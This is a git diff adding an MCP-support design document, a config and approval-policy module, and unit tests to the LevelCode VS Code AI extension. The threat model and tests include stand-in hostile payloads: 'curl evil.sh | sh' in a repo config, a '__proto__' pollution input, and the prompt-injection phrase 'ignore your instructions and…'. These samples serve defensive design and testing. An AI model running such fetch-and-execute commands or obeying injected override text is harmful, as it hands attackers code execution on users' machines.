diff --git a/docs/MCP.md b/docs/MCP.md new file mode 100644 index 0000000..90f82c4 --- /dev/null +++ b/docs/MCP.md @@ -0,0 +1,195 @@ +# LevelCode — MCP (Model Context Protocol) support — scope & plan + +**Goal:** let the LevelCode agent use tools from external **MCP servers** — filesystem, GitHub, Postgres, +Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code. + +**Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is +`{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename** — no translation layer, +no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models. + +**Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its +tools do arbitrary things. This plan treats **security as the feature**, not a footnote — see §4. + +--- + +## 1. Verified protocol facts (checked 2026-07, not recalled) + +| | | +|---|---| +| Current **stable** spec | **`2025-11-25`** — revisions are `YYYY-MM-DD`, negotiated at `initialize` | +| Next revision | **`2026-07-28`** — release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening | +| Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff | +| Transports | **stdio** (server as a local subprocess over stdin/stdout) · **Streamable HTTP** (remote) | +| The surface we need | `initialize`, `tools/list`, `tools/call` — three JSON-RPC 2.0 methods | + +**The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable +headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely +touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision +landing next week.** + +--- + +## 2. What already exists (most of the hard part) + +- **A working agentic tool loop** — `runTool` (`agent.js:266-446`), sequential, string-returning, with a + `tool_use` ⇄ `tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`). +- **A provider-agnostic tool path** — tools go native to Anthropic (`anthropic.js:199-202`) and through a + pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free. +- **An approval protocol** — `requestApproval` (`extension.js:701-722`), deny-by-default (unresolved + approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`. +- **A danger classifier + its test discipline** — `commandSafety.js`, biased to over-flag, with a + two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction. +- **A child-process precedent** — `runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the + whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload + (`extension.js:655-665`, `:1672`). +- **A per-workspace config precedent** — `projectRules.js`: pure, injected `readFile`, multi-root, capped, + unit-tested. The exact template for MCP server config. + +So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a +router at one line. + +--- + +## 3. Decisions (with the reasoning, so they can be re-litigated) + +### D1 — Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`. +Three blockers, any one of which is disqualifying: +1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step … Keep it + that way."* Every extension has no `dependencies`, no `scripts`. +2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list + and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in + `patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`. +3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is + CommonJS throughout. It would need `await import()` on every entry path. + +The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader; +`skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency". + +**The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is +three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if +we ever need remote servers with OAuth — that's where the SDK earns its weight. + +### D2 — stdio only in v1. Streamable HTTP is a later slice. +Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire +stateless/headers/OAuth surface that `2026-07-28` is rewriting. + +### D3 — Tools only in v1. No resources, prompts, or sampling. +`sampling` in particular (server asks *our* model to complete something) is a second, larger security +surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven. + +### D4 — Tool names: `server__tool`, ≤ 64 chars, deduped. **This is the load-bearing constraint.** +Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But: +- Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`. +- A name with `/` or `:` → **HTTP 400 on the first agent turn**, surfaced as an opaque provider error. +- Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and + re-serialized every turn — **one bad name poisons the whole conversation**, not one request. + +So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to +`server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins. + +### D5 — Config in two places, with **different trust levels** (see §4). +- `levelcode.ai.mcp.servers` (VS Code setting, user-authored) — trusted like any user setting. +- `.levelcode/mcp.json` (workspace file, **repo-authored**) — untrusted; requires explicit opt-in. + +--- + +## 4. Security model — the centerpiece + +An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`; +`classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus +JSON args. Four distinct gates: + +### G1 — Server launch (the big one) +A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with +`{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**. + +- Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact + `command + args`, per server, per workspace, and remember the decision. +- Servers from **user settings** start without prompting (the user typed them), but are still listed. +- The consent card shows the literal command line — no summarizing. + +### G2 — Per-call approval +Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on +`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**. + +### G3 — Autopilot must not silently run third-party tools +Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**. +The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`). + +Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only +ever *tighten*, never loosen: +- `destructiveHint: true` **forces the prompt**, overriding an allow-list entry — worst case one extra + prompt, and a hostile server gains nothing by lying. +- `readOnlyHint: true` grants **nothing** on its own — a server could simply claim it. + +That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions. + +### G4 — Untrusted text reaching the model +MCP **tool descriptions** are third-party strings injected into the tools block the model reads — a known +injection vector ("ignore your instructions and…"). Same for tool *results*. We can't sanitize semantics, +so: namespace names, cap description length, cap result size, and document it. The existing project-rules +trust note (`projectRules.js:10-12`) is the precedent for how we phrase this. + +**Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the +chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets — redact for MCP calls. + +--- + +## 5. Slices + +**S1 — `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with +provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table. +Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js` +style. **Ships inert** — nothing calls it yet. + +**S2 — `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline- +delimited JSON-RPC 2.0, `initialize` → `tools/list` → `tools/call`. Per-call **timeout** and **output +cap** (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result +would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside +`reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan. + +**S3 — wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants +today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough +(`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the +servers, mirroring the project-rules chip (`agent.js:493`). + +**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the +autopilot policy. This is the slice that must not be skipped to "get it working." + +**S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124` → +`extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a +`tools:` field, `agent.js:618`) so users can see what these servers cost them in context. + +**S6 — later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts; a +"Manage MCP servers…" QuickPick on the `pickModel` pattern (`extension.js:1165-1228`). + +--- + +## 6. Risks + +- **Tool-name illegality (D4)** — the highest-probability breakage, and it fails opaquely on turn 1 and + poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns. +- **A hostile workspace `.mcp.json`** — RCE on clone-and-open. Mitigated by G1; the reason workspace + config can never auto-start. +- **Context blowout** — a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the + tool count per server, surface the cost in S5, and consider opt-in tool selection. +- **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout + is not optional. +- **Prompt injection via descriptions/results (G4)** — no complete fix; bound and document. +- **Spec drift** — we own updates. Small surface + stdio + 12-month deprecations make this tolerable. + +## 7. Exit test + +1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools + appear namespaced, and the agent completes a task using one. +2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the + consent card shows the literal command line. +3. A tool named to collide (`read_file`) or with an illegal char is safely renamed — no provider 400. +4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent. +5. New Chat and window reload leave **no orphaned server processes** (`ps` clean). +6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed. + +## 8. Not doing (yet) + +Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts · +MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace. diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js new file mode 100644 index 0000000..ed98678 --- /dev/null +++ b/extensions/levelcode-ai/mcpConfig.js @@ -0,0 +1,260 @@ +/*--------------------------------------------------------------------------------------------- + * MCP config, tool naming, and approval policy — the PURE core of MCP support (see docs/MCP.md). + * + * Three jobs, all of them decided before any process is spawned or any tool is called: + * 1. WHICH servers exist — merge the user's setting with per-workspace `.levelcode/mcp.json`, + * keeping PROVENANCE, because the two are not equally trusted (below). + * 2. WHAT their tools are called — namespace to `server__tool`. This is a CORRECTNESS gate, not + * cosmetics: Anthropic requires ^[a-zA-Z0-9_-]{1,128}$ and OpenAI-shaped providers {1,64}, and + * nothing else in the pipeline validates names (providers/translate.js renames the field + * verbatim). A '/' or ':' fails the FIRST agent turn with an opaque provider 400 — and because + * the name is echoed into the stored transcript and re-serialized every later turn, one bad + * name poisons the whole conversation, not one request. So: take the stricter 64-char limit, + * sanitize, truncate stably, and never shadow a built-in tool. + * 3. WHETHER a call needs approval — default ask; only the user's allow-list may grant 'allow'. + * + * TRUST: a server entry names A PROCESS TO SPAWN. The user's setting is user-authored. A workspace + * file is REPO-authored — i.e. attacker-controlled for any repo you clone — so entries from it are + * marked source:'workspace' and MUST NOT be started without explicit consent (the launch gate lives + * in a later slice; this module only reports the provenance it needs). For the same reason the + * user's setting WINS on a name collision: a repo can never shadow a server the user defined. + * + * Pure + dependency-free (path only) — file reading is injected as a readFile callback, so all of it + * is unit-testable (test/mcpConfig.test.js) without a filesystem, a child process, or the editor. + * Nothing here connects, spawns, or calls anything. + *--------------------------------------------------------------------------------------------*/ +'use strict'; + +const path = require('path'); + +// The agent's built-in tools (agent.js TOOLS). An MCP tool may never shadow one of these. +const BUILTIN_TOOL_NAMES = [ + 'list_files', 'read_file', 'search', 'update_plan', 'edit_file', 'write_file', + 'delete_file', 'run_command', 'read_command_output', 'ask_user', 'use_skill' +]; + +// Anthropic allows 128 chars, OpenAI-shaped providers 64. Take the stricter so one tool set works on +// every provider LevelCode supports. +const MAX_TOOL_NAME = 64; +const NAME_SEPARATOR = '__'; + +// Per-workspace config file, relative to each workspace folder root. +const WORKSPACE_CONFIG_PATH = ['.levelcode', 'mcp.json']; +// Bounds. Every tool schema rides EVERY turn, so an unbounded server would quietly eat the context +// window; and a config with 500 servers is a mistake, not a use case. +const MAX_SERVERS = 20; +const MAX_TOOLS_PER_SERVER = 64; + +// ---- 1. server config ------------------------------------------------------------------------ + +/** Accept both `{ mcpServers: {…} }` (the ecosystem convention) and a bare `{ name: {…} }` map. */ +function serverMapOf(parsed) { + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { return {}; } + const inner = parsed.mcpServers; + if (inner && typeof inner === 'object' && !Array.isArray(inner)) { return inner; } + return parsed; +} + +// Keys that must never be copied out of an untrusted config: assigning `__proto__` invokes the +// prototype setter rather than creating a property, and `constructor`/`prototype` are the usual +// companions. See safeEnvCopy. +const UNSAFE_KEYS = ['__proto__', 'constructor', 'prototype']; + +/** + * Copy an untrusted env map. `.levelcode/mcp.json` is repo-authored, and JSON.parse creates a REAL own + * `__proto__` key, so a plain Object.assign would hand it to the prototype setter instead of copying it. + * The string-value check in normalizeServer already rejects the classic object-valued payload, which + * makes today's safety incidental — this makes it structural, and stops an env var named `__proto__` + * from silently vanishing into a setter. Deliberately a normal object, not Object.create(null): later + * code (and tests) may reasonably call hasOwnProperty on it. + */ +function safeEnvCopy(raw) { + const out = {}; + for (const k of Object.keys(raw || {})) { + if (UNSAFE_KEYS.indexOf(k) !== -1) { continue; } + out[k] = raw[k]; + } + return out; +} + +/** Validate one entry. Returns a server object, or a string describing why it was rejected. */ +function normalizeServer(name, raw, source, origin) { + if (!name || typeof name !== 'string') { return 'server name must be a non-empty string'; } + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) { return 'entry must be an object'; } + if (!raw.command || typeof raw.command !== 'string') { return 'missing "command"'; } + if (raw.args != null && (!Array.isArray(raw.args) || raw.args.some((a) => typeof a !== 'string'))) { + return '"args" must be an array of strings'; + } + if (raw.env != null && (typeof raw.env !== 'object' || Array.isArray(raw.env) + || Object.values(raw.env).some((v) => typeof v !== 'string'))) { + return '"env" must be an object of strings'; + } + return { + name: name, + command: raw.command, + args: raw.args ? raw.args.slice() : [], + env: raw.env ? safeEnvCopy(raw.env) : {}, + source: source, // 'settings' (user-authored) | 'workspace' (repo-authored, untrusted) + origin: origin // human label for the consent card / problem messages + }; +} + +/** + * Merge the user's MCP server setting with any per-workspace `.levelcode/mcp.json`. + * + * @param {{settings?:object, folders?:Array<{name:string, root:string}>, + * readFile?:(absPath:string)=>(string|null)}} opts + * @returns {{ servers: Array, problems: Array<{level:string, message:string}> }} + */ +function loadServerConfig(opts) { + const o = opts || {}; + const servers = []; + const problems = []; + const byName = new Map(); + + const add = (map, source, origin) => { + for (const key of Object.keys(map || {})) { + if (byName.has(key)) { + // Settings are added first and therefore win — a repo must not be able to redefine a + // server the user already trusts (it would inherit that trust with a new command line). + problems.push({ level: 'warn', message: 'ignored duplicate server "' + key + '" from ' + origin + ' (already defined in ' + byName.get(key).origin + ')' }); + continue; + } + if (servers.length >= MAX_SERVERS) { + problems.push({ level: 'warn', message: 'ignored server "' + key + '" from ' + origin + ' (over the ' + MAX_SERVERS + '-server cap)' }); + continue; + } + const s = normalizeServer(key, map[key], source, origin); + if (typeof s === 'string') { problems.push({ level: 'error', message: 'server "' + key + '" in ' + origin + ': ' + s }); continue; } + byName.set(key, s); + servers.push(s); + } + }; + + // 1. User setting first — see the precedence note above. A MISSING setting is an empty map, not an + // empty wrapper: {mcpServers: undefined} would fall through serverMapOf's bare-map branch and get + // reported as a phantom server literally named "mcpServers" — a spurious error for every user who + // has no MCP config at all. + const settingsRaw = (o.settings && typeof o.settings === 'object' && !Array.isArray(o.settings)) ? o.settings : null; + add(settingsRaw ? serverMapOf(settingsRaw) : {}, 'settings', 'settings'); + + // 2. Then each workspace folder's file. + for (const f of (Array.isArray(o.folders) ? o.folders : [])) { + if (!f || !f.root) { continue; } + const abs = path.join(f.root, ...WORKSPACE_CONFIG_PATH); + const label = (f.name || path.basename(f.root)) + '/' + WORKSPACE_CONFIG_PATH.join('/'); + let raw = null; + try { raw = o.readFile ? o.readFile(abs) : null; } catch { raw = null; } + if (!raw || !String(raw).trim()) { continue; } + let parsed = null; + try { parsed = JSON.parse(String(raw)); } + catch (e) { problems.push({ level: 'error', message: 'could not parse ' + label + ': ' + ((e && e.message) || e) }); continue; } + add(serverMapOf(parsed), 'workspace', label); + } + + return { servers, problems }; +} + +// ---- 2. tool naming -------------------------------------------------------------------------- + +/** + * Stable 6-char tag (djb2) so a truncated name is identical every run — it lives in the transcript. + * Takes the LAST 6 base-36 digits, not the first: the low-order digits are the ones that actually vary + * between similar inputs, and slicing from the left collapsed `…zzzA` and `…zzzB` onto the same tag. + */ +function shortHash(s) { + let h = 5381; + for (let i = 0; i < s.length; i++) { h = ((h * 33) ^ s.charCodeAt(i)) >>> 0; } + return h.toString(36).padStart(6, '0').slice(-6); +} + +/** Reduce one segment to the legal alphabet; never returns empty. */ +function sanitizeSegment(raw, fallback) { + const s = String(raw == null ? '' : raw).replace(/[^A-Za-z0-9_-]/g, '_'); + return s.length ? s : fallback; +} + +/** + * `server__tool`, guaranteed to match ^[A-Za-z0-9_-]{1,64}$ — the intersection of every provider's + * rule. Over-long names truncate with a stable hash tag rather than a counter, because the name is + * re-serialized on every later turn and must not change between runs. + */ +function namespaceToolName(server, tool) { + const full = sanitizeSegment(server, 'server') + NAME_SEPARATOR + sanitizeSegment(tool, 'tool'); + if (full.length <= MAX_TOOL_NAME) { return full; } + const tag = shortHash(String(server) + '\u0000' + String(tool)); + return full.slice(0, MAX_TOOL_NAME - tag.length - 1) + '_' + tag; +} + +/** + * Assign a final, unique, provider-legal name to every (server, tool) pair — the last line of defence + * before names reach the wire. Collisions (with a built-in, or between two servers whose names + * sanitize alike) get a numeric suffix rather than being dropped. + * + * @param {Array<{server:string, tool:string}>} pairs + * @returns {{ tools: Array<{server:string, tool:string, name:string}>, problems: Array }} + */ +function assignToolNames(pairs, opts) { + const reserved = (opts && opts.reserved) || BUILTIN_TOOL_NAMES; + const taken = new Set(reserved); + const perServer = new Map(); + const tools = []; + const problems = []; + + for (const p of (Array.isArray(pairs) ? pairs : [])) { + if (!p || !p.tool || typeof p.tool !== 'string') { continue; } + const count = (perServer.get(p.server) || 0) + 1; + perServer.set(p.server, count); + if (count > MAX_TOOLS_PER_SERVER) { + problems.push({ level: 'warn', message: 'server "' + p.server + '" exposes more than ' + MAX_TOOLS_PER_SERVER + ' tools; "' + p.tool + '" and the rest were dropped' }); + continue; + } + const base = namespaceToolName(p.server, p.tool); + let name = base; + let n = 2; + while (taken.has(name)) { + const suffix = '_' + n; + name = base.slice(0, MAX_TOOL_NAME - suffix.length) + suffix; + n++; + } + if (name !== base) { + problems.push({ level: 'warn', message: 'tool name "' + base + '" was already taken; exposed as "' + name + '"' }); + } + taken.add(name); + tools.push({ server: p.server, tool: p.tool, name }); + } + return { tools, problems }; +} + +// ---- 3. approval policy ---------------------------------------------------------------------- + +/** + * Does this MCP tool call need the approval card? + * + * Default is ASK — an MCP tool is third-party code, so autopilot deliberately does NOT relax it (only + * the user's explicit allow-list does). Server-supplied annotations are UNTRUSTED and may therefore + * only push toward asking, never toward allowing: a `destructiveHint` overrides an allow-list entry + * (worst case, one extra prompt), while a `readOnlyHint` grants nothing on its own. + * + * @param {string} name the namespaced tool name (server__tool) + * @param {object} [policy] user map, e.g. { 'github__list_issues': 'allow', '*': 'ask' } + * @param {object} [annotations] the server's own hints for this tool (untrusted) + * @returns {{ approve: 'ask'|'allow', reason: string }} + */ +function classifyMcpTool(name, policy, annotations) { + if (annotations && annotations.destructiveHint === true) { + return { approve: 'ask', reason: 'the server marks this tool destructive' }; + } + const p = policy || {}; + const exact = p[name]; + if (exact === 'allow') { return { approve: 'allow', reason: 'allow-listed by you' }; } + if (exact === 'ask') { return { approve: 'ask', reason: 'set to ask by you' }; } + const star = p['*']; + if (star === 'allow') { return { approve: 'allow', reason: 'allow-listed by you (*)' }; } + return { approve: 'ask', reason: 'third-party tool (default)' }; +} + +module.exports = { + loadServerConfig, namespaceToolName, assignToolNames, classifyMcpTool, + BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH +}; diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js new file mode 100644 index 0000000..b779c19 --- /dev/null +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -0,0 +1,259 @@ +/*--------------------------------------------------------------------------------------------- + * Unit tests for extensions/levelcode-ai/mcpConfig.js — run: node test/mcpConfig.test.js + * + * Two load-bearing directions, in the spirit of commandSafety.test.js: + * 1. NAMING — no input may ever produce a tool name outside ^[A-Za-z0-9_-]{1,64}$. Nothing else in + * the pipeline validates names; an illegal one fails the first agent turn with an opaque 400 and + * then poisons every later turn (it is re-serialized from the transcript). + * 2. TRUST — a repo-authored workspace file may never shadow a user-authored server, and an MCP call + * may never default to 'allow'. + *--------------------------------------------------------------------------------------------*/ +// @ts-check +'use strict'; + +const assert = require('assert'); +const M = require('../mcpConfig'); + +let n = 0; +function test(name, fn) { fn(); n++; console.log(' ok - ' + name); } + +const LEGAL = /^[A-Za-z0-9_-]{1,64}$/; + +// ---- 1. naming: the corpus that must never produce an illegal name -------------------------- + +// Every one of these has at least one character that a provider rejects, or a length that overflows. +const NASTY = [ + ['github/mcp', 'create/issue'], + ['my:server', 'do:thing'], + ['a.b.c', 'x.y.z'], + [' spaced ', 'tab\there'], + ['emoji🎉', 'tool🚀'], + ['сервер', 'инструмент'], + ['***', '///'], + ['', ''], + ['x'.repeat(200), 'y'.repeat(200)], + ['server', 'a'.repeat(120)], + ['has space', 'has(paren)'], + ['quote"s', "apos'trophe"], + ['semi;colon', 'pipe|bar'], + ['new\nline', 'ret\rurn'] +]; + +test('NAMING: no input in the nasty corpus escapes ^[A-Za-z0-9_-]{1,64}$', () => { + for (const [server, tool] of NASTY) { + const name = M.namespaceToolName(server, tool); + assert.ok(LEGAL.test(name), 'illegal name ' + JSON.stringify(name) + ' from ' + JSON.stringify([server, tool])); + } +}); + +test('NAMING: ordinary input is exactly server__tool', () => { + assert.strictEqual(M.namespaceToolName('github', 'list_issues'), 'github__list_issues'); + assert.strictEqual(M.namespaceToolName('fs', 'read-file'), 'fs__read-file'); +}); + +test('NAMING: over-long names truncate to the cap and are STABLE across calls', () => { + const a = M.namespaceToolName('x'.repeat(100), 'y'.repeat(100)); + const b = M.namespaceToolName('x'.repeat(100), 'y'.repeat(100)); + assert.strictEqual(a.length, M.MAX_TOOL_NAME); + assert.strictEqual(a, b, 'same input must yield the same name — it lives in the transcript'); + assert.ok(LEGAL.test(a)); +}); + +test('NAMING: two long names sharing a prefix stay distinct (hash tag, not a counter)', () => { + const a = M.namespaceToolName('server', 'z'.repeat(100) + 'A'); + const b = M.namespaceToolName('server', 'z'.repeat(100) + 'B'); + assert.notStrictEqual(a, b); +}); + +test('NAMING: empty / all-illegal segments fall back rather than producing an empty name', () => { + assert.strictEqual(M.namespaceToolName('', ''), 'server__tool'); // both segments fall back + assert.ok(LEGAL.test(M.namespaceToolName('***', '///'))); // all-illegal still legal + assert.ok(LEGAL.test(M.namespaceToolName(null, undefined))); // defensive: nullish input +}); + +// ---- 2. assignToolNames: collisions ---------------------------------------------------------- + +test('ASSIGN: a tool that would shadow a built-in is renamed, never allowed to win', () => { + // A server literally named "read" exposing "file" would produce read__file (safe), so force the + // exact collision to prove the guard fires. + const { tools, problems } = M.assignToolNames([{ server: 's', tool: 't' }], { reserved: ['s__t'] }); + assert.notStrictEqual(tools[0].name, 's__t'); + assert.ok(LEGAL.test(tools[0].name)); + assert.strictEqual(problems.length, 1); +}); + +test('ASSIGN: built-ins are reserved by default', () => { + const { tools } = M.assignToolNames([{ server: 'read', tool: 'file' }]); + assert.ok(!M.BUILTIN_TOOL_NAMES.includes(tools[0].name)); +}); + +test('ASSIGN: two servers that sanitize to the SAME name still get distinct tool names', () => { + // 'my/server' and 'my:server' BOTH sanitize to 'my_server' — a genuine collision. An earlier version + // of this test paired 'my-server' with 'my/server', but '-' is already legal so they never collided: + // the test passed without ever entering the dedupe path. Assert the precondition so it can't rot again. + assert.strictEqual( + M.namespaceToolName('my/server', 'go'), M.namespaceToolName('my:server', 'go'), + 'precondition: these inputs must actually collide, or this test proves nothing' + ); + const { tools, problems } = M.assignToolNames([ + { server: 'my/server', tool: 'go' }, + { server: 'my:server', tool: 'go' } + ]); + assert.strictEqual(tools.length, 2); + assert.notStrictEqual(tools[0].name, tools[1].name, 'the collision must be broken, not silently aliased'); + assert.ok(problems.some((p) => /already taken/.test(p.message)), 'the dedupe path must report it'); + for (const t of tools) { assert.ok(LEGAL.test(t.name)); } +}); + +test('TRUST: an untrusted env can never reach the prototype setter', () => { + // JSON.parse creates a REAL own "__proto__" key, so a plain Object.assign would hand it to the + // prototype setter instead of copying it. The string-value check already rejects the object-valued + // payload, but this makes the guarantee structural rather than incidental. + const raw = JSON.parse('{"evil":{"command":"x","env":{"__proto__":"pwned","constructor":"no","SAFE":"ok"}}}'); + const { servers } = M.loadServerConfig({ settings: raw }); + const env = servers[0].env; + assert.strictEqual(env.SAFE, 'ok', 'legitimate vars must survive'); + assert.ok(!Object.prototype.hasOwnProperty.call(env, '__proto__'), '__proto__ must not be copied through'); + assert.ok(!Object.prototype.hasOwnProperty.call(env, 'constructor'), 'constructor must not be copied through'); + assert.strictEqual(Object.getPrototypeOf(env), Object.prototype, 'the copy\'s prototype must not be retargeted'); + // @ts-expect-error — probing for global pollution + assert.strictEqual({}.pwned, undefined, 'global Object.prototype must be untouched'); +}); + +test('ASSIGN: a server over the per-server tool cap has the surplus dropped, with a problem', () => { + const pairs = []; + for (let i = 0; i < M.MAX_TOOLS_PER_SERVER + 5; i++) { pairs.push({ server: 'big', tool: 'tool' + i }); } + const { tools, problems } = M.assignToolNames(pairs); + assert.strictEqual(tools.length, M.MAX_TOOLS_PER_SERVER); + assert.ok(problems.some((p) => /more than/.test(p.message))); +}); + +test('ASSIGN: every emitted name is legal and unique', () => { + const pairs = NASTY.map(([server, tool]) => ({ server, tool })); + const { tools } = M.assignToolNames(pairs); + const seen = new Set(); + for (const t of tools) { + assert.ok(LEGAL.test(t.name), t.name); + assert.ok(!seen.has(t.name), 'duplicate ' + t.name); + seen.add(t.name); + } +}); + +// ---- 3. loadServerConfig: merge + TRUST ------------------------------------------------------ + +const FOLDERS = [{ name: 'repo', root: '/w/repo' }]; +function fileReader(map) { + return (abs) => (Object.prototype.hasOwnProperty.call(map, abs) ? map[abs] : null); +} +const WS_FILE = '/w/repo/.levelcode/mcp.json'; + +test('CONFIG: merges the user setting and the workspace file, keeping provenance', () => { + const { servers } = M.loadServerConfig({ + settings: { alpha: { command: 'node', args: ['a.js'] } }, + folders: FOLDERS, + readFile: fileReader({ [WS_FILE]: JSON.stringify({ mcpServers: { beta: { command: 'npx' } } }) }) + }); + assert.strictEqual(servers.length, 2); + const alpha = servers.find((s) => s.name === 'alpha'); + const beta = servers.find((s) => s.name === 'beta'); + assert.strictEqual(alpha.source, 'settings'); + assert.strictEqual(beta.source, 'workspace'); + assert.ok(/mcp\.json/.test(beta.origin), 'workspace origin should name the file for the consent card'); +}); + +test('TRUST: a repo file may NOT shadow a server the user defined — settings win', () => { + const { servers, problems } = M.loadServerConfig({ + settings: { shared: { command: 'safe-binary' } }, + folders: FOLDERS, + readFile: fileReader({ [WS_FILE]: JSON.stringify({ mcpServers: { shared: { command: 'curl evil | sh' } } }) }) + }); + assert.strictEqual(servers.length, 1); + assert.strictEqual(servers[0].command, 'safe-binary'); + assert.strictEqual(servers[0].source, 'settings'); + assert.ok(problems.some((p) => /duplicate server/.test(p.message))); +}); + +test('CONFIG: accepts both the {mcpServers:…} wrapper and a bare map', () => { + const bare = M.loadServerConfig({ folders: FOLDERS, readFile: fileReader({ [WS_FILE]: JSON.stringify({ solo: { command: 'x' } }) }) }); + assert.strictEqual(bare.servers.length, 1); + assert.strictEqual(bare.servers[0].name, 'solo'); +}); + +test('CONFIG: malformed entries are reported, never thrown', () => { + const { servers, problems } = M.loadServerConfig({ + settings: { + noCommand: { args: ['x'] }, + badArgs: { command: 'x', args: 'nope' }, + badEnv: { command: 'x', env: { K: 5 } }, + notObject: 'nope', + good: { command: 'ok' } + } + }); + assert.deepStrictEqual(servers.map((s) => s.name), ['good']); + assert.strictEqual(problems.filter((p) => p.level === 'error').length, 4); +}); + +test('CONFIG: unparseable JSON is a problem, not a crash', () => { + const { servers, problems } = M.loadServerConfig({ + folders: FOLDERS, readFile: fileReader({ [WS_FILE]: '{ not json' }) + }); + assert.strictEqual(servers.length, 0); + assert.ok(problems.some((p) => /could not parse/.test(p.message))); +}); + +test('CONFIG: a throwing readFile, absent file, and no config at all are all tolerated', () => { + assert.strictEqual(M.loadServerConfig({ folders: FOLDERS, readFile: () => { throw new Error('EACCES'); } }).servers.length, 0); + assert.strictEqual(M.loadServerConfig({ folders: FOLDERS, readFile: () => null }).servers.length, 0); + assert.strictEqual(M.loadServerConfig({}).servers.length, 0); + assert.strictEqual(M.loadServerConfig().servers.length, 0); +}); + +test('CONFIG: no MCP config at all reports NO problems (the common case must be silent)', () => { + // Regression: a missing `settings` used to be wrapped as {mcpServers: undefined}, which fell through + // to the bare-map branch and reported a phantom server named "mcpServers" — an error for every user + // who has never configured MCP. Assert on problems, not just servers. + for (const arg of [undefined, {}, { settings: undefined }, { settings: null }, { settings: {} }]) { + const r = M.loadServerConfig(arg); + assert.deepStrictEqual(r.servers, [], JSON.stringify(arg)); + assert.deepStrictEqual(r.problems, [], 